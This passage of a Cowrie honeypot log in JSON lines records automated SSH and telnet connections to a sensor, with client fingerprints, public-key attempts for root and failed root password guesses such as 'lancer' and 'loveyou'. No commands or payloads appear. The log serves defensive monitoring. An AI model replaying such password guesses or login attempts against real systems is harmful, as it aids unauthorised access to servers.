-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:31.229180Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:98:df:ac:aa:80:2b:51:69:63:76:52:80:23:ee:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtlzTb3cxidY6TO+2ZG8KfUsPPygMYhv3GSkJTb92JQ8i/XKc6wU9a/lZ6UHXkPWpdfU8jH2Q0UBZgzaI1E0Cf7gCReA300VHt0CBBEe8JakSjHuw5RdsobN32dh8OY0XAASnxUOXur/kSJik40gMtOq2T5rVACvGTXAgGNqWh+7v6A4yl2UiqPfUQakzUP8qdN86h6X0ytTVzpnIbeQ3jfQrLqY+XUTXLJ+W06PpH4ak7jGbpNoPFtybSGaIy1QC0edlUMzfCo4k47w3EomcZ4lpksVFx3Nu4m8BZiA0h+sZOKZ+3X4e5QAs/7WtzuAi3XYvmrgEGeTqTYnIIv627","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:98:df:ac:aa:80:2b:51:69:63:76:52:80:23:ee:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:31.819115Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:98:df:ac:aa:80:2b:51:69:63:76:52:80:23:ee:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtlzTb3cxidY6TO+2ZG8KfUsPPygMYhv3GSkJTb92JQ8i/XKc6wU9a/lZ6UHXkPWpdfU8jH2Q0UBZgzaI1E0Cf7gCReA300VHt0CBBEe8JakSjHuw5RdsobN32dh8OY0XAASnxUOXur/kSJik40gMtOq2T5rVACvGTXAgGNqWh+7v6A4yl2UiqPfUQakzUP8qdN86h6X0ytTVzpnIbeQ3jfQrLqY+XUTXLJ+W06PpH4ak7jGbpNoPFtybSGaIy1QC0edlUMzfCo4k47w3EomcZ4lpksVFx3Nu4m8BZiA0h+sZOKZ+3X4e5QAs/7WtzuAi3XYvmrgEGeTqTYnIIv627","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:31.823040Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:d0:96:8e:95:d9:11:38:9b:dd:26:be:d1:d3:1e:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyjhYA1ymunXf3/Zhkx2baFHXVBaaSZF2vbGJFXJyV+B3uYyHBTJ1QePARWcK3sFH4WW4bix9B8cUZaC2fWeHpNUBr/6Er4N7uGd6AIo6nzyXzrGJe6vHJmhqTl4kvcc7cCMAQyaFBdITEXWWRholea74QAK/Im3qK/qlHmxkEfF5DuR3buskOu366Z6QXvAPYDX1p3dDwOgWGzSPP+bowBoX42Mg36ec8Y6F3ElA4Nqiu4vHjmkC4kCBAYsQVTxWkKHZXH94SaGnzYWHdGjdztL6ELZOsL0m45+VtUchjdGydxeAlv+BMeLVeXBxKVU7qmnRfL6n3sJutYeAGQXLSawB0KPUuKpcrt7jkQIZnedz7lL+cZBDX9ykGjkbIxi+nIBOAKp6gMd+JXp5S0H3XiiqgnL5kgQRija0+rZbzUoZtyMwfs9Fzpf9pKXB8duAPEtgUV4qnDHBhOqCKV9Dvn5b4i9FbqzerkAGyX4Kzi3T6GLvubpnmU0FPYkcRSuc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:d0:96:8e:95:d9:11:38:9b:dd:26:be:d1:d3:1e:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:31.948844Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:d0:96:8e:95:d9:11:38:9b:dd:26:be:d1:d3:1e:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyjhYA1ymunXf3/Zhkx2baFHXVBaaSZF2vbGJFXJyV+B3uYyHBTJ1QePARWcK3sFH4WW4bix9B8cUZaC2fWeHpNUBr/6Er4N7uGd6AIo6nzyXzrGJe6vHJmhqTl4kvcc7cCMAQyaFBdITEXWWRholea74QAK/Im3qK/qlHmxkEfF5DuR3buskOu366Z6QXvAPYDX1p3dDwOgWGzSPP+bowBoX42Mg36ec8Y6F3ElA4Nqiu4vHjmkC4kCBAYsQVTxWkKHZXH94SaGnzYWHdGjdztL6ELZOsL0m45+VtUchjdGydxeAlv+BMeLVeXBxKVU7qmnRfL6n3sJutYeAGQXLSawB0KPUuKpcrt7jkQIZnedz7lL+cZBDX9ykGjkbIxi+nIBOAKp6gMd+JXp5S0H3XiiqgnL5kgQRija0+rZbzUoZtyMwfs9Fzpf9pKXB8duAPEtgUV4qnDHBhOqCKV9Dvn5b4i9FbqzerkAGyX4Kzi3T6GLvubpnmU0FPYkcRSuc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:31.953349Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:f8:51:d2:90:1e:5d:e9:67:04:03:96:8d:2a:dd:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0jc9mjlwGnvVkgFMGlRVGpE5a9MvLqOMSbW15Lp8c1Qh2JDTTDgCLRa+utm8aTF82qu+4QmPjn0tUALZ5nz3LAuPV0TuSwFwGM3/BL7v0ZiN23Opf8XtWbfR1s+X74khxaHChKiLRQPrAY2HFEd8cNbgcVqhngSdy0DwsTXdlhHI90HPOO0hQZ4WwyCPK28fGIaXyv5JQY3onwwR97DjkiGMF+T6htqbJLUqLPC5smiX1SDm7cAHzaXKU1yMQRPvzpFuEvGXR0RU5PYYuRqClhSu9HaqEYKD/E7bPDZWqOP03N582AVGnsoP1ChwDViHLXZnsW/BYftpUSVj26WuDDbGj5cV1PY3cE2OE95wkxnuR/add2ZLNyUpMptrsjPVIkjsJWGev3p/Tpb2Slot+Ay7YoSWsYUWpHecY2KhPmThEGunSQtJPNeGiGeMXoCdl1930DISaYrNma81H6v1M8ffaSiZXfP3hVHE0Rb0AvT8ArVZbL+4vVWe0wr3FT8M=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:f8:51:d2:90:1e:5d:e9:67:04:03:96:8d:2a:dd:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:32.077150Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:f8:51:d2:90:1e:5d:e9:67:04:03:96:8d:2a:dd:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0jc9mjlwGnvVkgFMGlRVGpE5a9MvLqOMSbW15Lp8c1Qh2JDTTDgCLRa+utm8aTF82qu+4QmPjn0tUALZ5nz3LAuPV0TuSwFwGM3/BL7v0ZiN23Opf8XtWbfR1s+X74khxaHChKiLRQPrAY2HFEd8cNbgcVqhngSdy0DwsTXdlhHI90HPOO0hQZ4WwyCPK28fGIaXyv5JQY3onwwR97DjkiGMF+T6htqbJLUqLPC5smiX1SDm7cAHzaXKU1yMQRPvzpFuEvGXR0RU5PYYuRqClhSu9HaqEYKD/E7bPDZWqOP03N582AVGnsoP1ChwDViHLXZnsW/BYftpUSVj26WuDDbGj5cV1PY3cE2OE95wkxnuR/add2ZLNyUpMptrsjPVIkjsJWGev3p/Tpb2Slot+Ay7YoSWsYUWpHecY2KhPmThEGunSQtJPNeGiGeMXoCdl1930DISaYrNma81H6v1M8ffaSiZXfP3hVHE0Rb0AvT8ArVZbL+4vVWe0wr3FT8M=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:32.081475Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:e7:8e:16:93:5a:9f:bf:7c:68:a2:f7:d1:38:ec:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/lGbtI6rVs+xSgFVnqEhDyIqmZ3/9FiSgzTdANisqZoKAi8cgQiWe8YKWl7Tc2UQJiXqLm2biv78NHrbusBjopdNC9a8T85RJgnDw9vf5xT/siYNXH1jOoWoDKcrKSjzpWDijY8T/3J4y5UGryuX5v8JbVInIdIsA0QuN4OWT8rZNcvaFvUqqtIuPQ+6uOQDicB2T3tKx1PXXF6g7iZ19OzoGTx/7AvvhoBmWY3aFPmugK9N3qjDmEygFM3Y/9z3gOeeuqaK6kk4x0LYSkBDUHJOYSpTN0HXr46+fA6mChNMMZau69Sgv15Il6Oy7c4Yrdp2lF8K83M8pNoVPJKueopYfmsU0xPe4ZZcqEar9BSYBFU/lkp9NmLagw1S0hZ5f8/TmWKY/nWWnjjC0f4ZZVEFbVl39JfS059536y9yIH3HOWNsLQIZC1EoYxlc9m8DLAm9ukKMVfDEJNbf9nRzP6BS+FG8l6j9c3zFbqlVg8cC4FEuXY/ffOpQkHra3CU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:e7:8e:16:93:5a:9f:bf:7c:68:a2:f7:d1:38:ec:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:32.205042Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:e7:8e:16:93:5a:9f:bf:7c:68:a2:f7:d1:38:ec:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/lGbtI6rVs+xSgFVnqEhDyIqmZ3/9FiSgzTdANisqZoKAi8cgQiWe8YKWl7Tc2UQJiXqLm2biv78NHrbusBjopdNC9a8T85RJgnDw9vf5xT/siYNXH1jOoWoDKcrKSjzpWDijY8T/3J4y5UGryuX5v8JbVInIdIsA0QuN4OWT8rZNcvaFvUqqtIuPQ+6uOQDicB2T3tKx1PXXF6g7iZ19OzoGTx/7AvvhoBmWY3aFPmugK9N3qjDmEygFM3Y/9z3gOeeuqaK6kk4x0LYSkBDUHJOYSpTN0HXr46+fA6mChNMMZau69Sgv15Il6Oy7c4Yrdp2lF8K83M8pNoVPJKueopYfmsU0xPe4ZZcqEar9BSYBFU/lkp9NmLagw1S0hZ5f8/TmWKY/nWWnjjC0f4ZZVEFbVl39JfS059536y9yIH3HOWNsLQIZC1EoYxlc9m8DLAm9ukKMVfDEJNbf9nRzP6BS+FG8l6j9c3zFbqlVg8cC4FEuXY/ffOpQkHra3CU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:32.209935Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:0a:df:88:02:51:ba:ab:3d:46:ba:b7:61:9b:fb:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZ7Xq9YDQ0SI8/M+KRWVe0rU5v4DxZq1g0RTz/VJGHdXVbe2VAvOAL3FHqCxrs9L2YwMTz9WEL6lThv+IbjjUHNm0OGmwl9Hqjij5cK4FHk7hXpsZwLWBdWKFs5nRO2vUVLere1xnxTzhqPd9wD1+hzJtrnTO5Xrda6ky6KwlhswQhGiOo+5gOm2w5qP0zYCqReSJxasgs3Lf1VGyxA3N2MKFiVUaqdkjP/0G+jhTBoiH3ytDxFeih8vSnsbrD3oi1k1FIpbnH9DfKfuslG0fzmf4Cwmn+Zdni9fSWkCSPAXTpoOQKnvPMQTvg3zs1PRqxF7qvrsnRPCLjMgKF7xb9Hzk4ABMZvuBEqOphCoRva69ntriX5xvVLcWzjlYHJ23I4Hi6Z5EkM9wlWkqJ+Nykb8OV5434Sk9YSQi+vaEXpmVaU1TTAy76/VDJG56tW1X9sOOVJcQuy1f7vx/oYioP7gxJ24nCW772ug2qtZrUC6mIasRecI5q55w0NoCuvqk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:0a:df:88:02:51:ba:ab:3d:46:ba:b7:61:9b:fb:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:32.334507Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:0a:df:88:02:51:ba:ab:3d:46:ba:b7:61:9b:fb:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZ7Xq9YDQ0SI8/M+KRWVe0rU5v4DxZq1g0RTz/VJGHdXVbe2VAvOAL3FHqCxrs9L2YwMTz9WEL6lThv+IbjjUHNm0OGmwl9Hqjij5cK4FHk7hXpsZwLWBdWKFs5nRO2vUVLere1xnxTzhqPd9wD1+hzJtrnTO5Xrda6ky6KwlhswQhGiOo+5gOm2w5qP0zYCqReSJxasgs3Lf1VGyxA3N2MKFiVUaqdkjP/0G+jhTBoiH3ytDxFeih8vSnsbrD3oi1k1FIpbnH9DfKfuslG0fzmf4Cwmn+Zdni9fSWkCSPAXTpoOQKnvPMQTvg3zs1PRqxF7qvrsnRPCLjMgKF7xb9Hzk4ABMZvuBEqOphCoRva69ntriX5xvVLcWzjlYHJ23I4Hi6Z5EkM9wlWkqJ+Nykb8OV5434Sk9YSQi+vaEXpmVaU1TTAy76/VDJG56tW1X9sOOVJcQuy1f7vx/oYioP7gxJ24nCW772ug2qtZrUC6mIasRecI5q55w0NoCuvqk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:32.338614Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:32.463711Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.66804075241089,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:34.127032Z","src_ip":"152.42.224.71","session":"76eaa4436375","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.84488368034363,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:36.714748Z","src_ip":"152.42.224.71","session":"e2eeb031fbc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.7295777797699,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:38.656480Z","src_ip":"152.42.224.71","session":"a6f9e6b3e88c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55480,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac84221f435a","protocol":"telnet","message":"New connection: 152.42.224.71:55480 (10.17.0.5:23) [session: ac84221f435a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:41.207127Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":40792,"dst_ip":"159.203.135.109","dst_port":22,"session":"0903596a1323","protocol":"ssh","message":"New connection: 103.122.221.179:40792 (159.203.135.109:22) [session: 0903596a1323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:46.208419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:46.213091Z","src_ip":"103.122.221.179","session":"0903596a1323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:46.463204Z","src_ip":"103.122.221.179","session":"0903596a1323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lancer","message":"login attempt [root/lancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:47.211324Z","src_ip":"103.122.221.179","session":"0903596a1323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.07030963897705,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:48.228190Z","src_ip":"152.42.224.71","session":"be80b44c3361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:48.463235Z","src_ip":"103.122.221.179","session":"0903596a1323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58350,"dst_ip":"10.17.0.5","dst_port":23,"session":"208c47f17fe0","protocol":"telnet","message":"New connection: 152.42.224.71:58350 (10.17.0.5:23) [session: 208c47f17fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:49.329765Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41426,"dst_ip":"10.17.0.5","dst_port":23,"session":"63b109c9d418","protocol":"telnet","message":"New connection: 152.42.224.71:41426 (10.17.0.5:23) [session: 63b109c9d418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:05.930822Z"}
{"eventid":"cowrie.session.closed","duration":28.849087476730347,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:18.178747Z","src_ip":"152.42.224.71","session":"208c47f17fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43740,"dst_ip":"10.17.0.5","dst_port":23,"session":"3129f9120fb9","protocol":"telnet","message":"New connection: 152.42.224.71:43740 (10.17.0.5:23) [session: 3129f9120fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:20.957207Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43726,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdaba3a57a9b","protocol":"telnet","message":"New connection: 152.42.224.71:43726 (10.17.0.5:23) [session: cdaba3a57a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:21.755324Z"}
{"eventid":"cowrie.session.closed","duration":95.24028635025024,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:24.185524Z","src_ip":"152.42.224.71","session":"3ae967cc187e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36890,"dst_ip":"10.17.0.5","dst_port":23,"session":"b30176526695","protocol":"telnet","message":"New connection: 152.42.224.71:36890 (10.17.0.5:23) [session: b30176526695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:31.913966Z"}
{"eventid":"cowrie.session.closed","duration":52.31315851211548,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:33.520181Z","src_ip":"152.42.224.71","session":"ac84221f435a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.507643461227417,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:39.464734Z","src_ip":"152.42.224.71","session":"3129f9120fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.81042742729187,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:39.741138Z","src_ip":"152.42.224.71","session":"63b109c9d418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47824,"dst_ip":"10.17.0.5","dst_port":23,"session":"20abc852a944","protocol":"telnet","message":"New connection: 152.42.224.71:47824 (10.17.0.5:23) [session: 20abc852a944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:41.008463Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":35094,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f6f38cd086c","protocol":"telnet","message":"New connection: 213.108.3.46:35094 (10.17.0.5:23) [session: 1f6f38cd086c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:44.641460Z"}
{"eventid":"cowrie.session.closed","duration":0.014688968658447266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:44.656047Z","src_ip":"213.108.3.46","session":"1f6f38cd086c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":52122,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4eb84656d4a","protocol":"ssh","message":"New connection: 94.159.110.201:52122 (10.17.0.5:22) [session: d4eb84656d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:48.478096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:48.482895Z","src_ip":"94.159.110.201","session":"d4eb84656d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:48.608814Z","src_ip":"94.159.110.201","session":"d4eb84656d4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveyou","message":"login attempt [root/loveyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:48.985232Z","src_ip":"94.159.110.201","session":"d4eb84656d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:50.116583Z","src_ip":"94.159.110.201","session":"d4eb84656d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47132,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd009f0ca8ea","protocol":"telnet","message":"New connection: 152.42.224.71:47132 (10.17.0.5:23) [session: fd009f0ca8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:19:58.748484Z"}
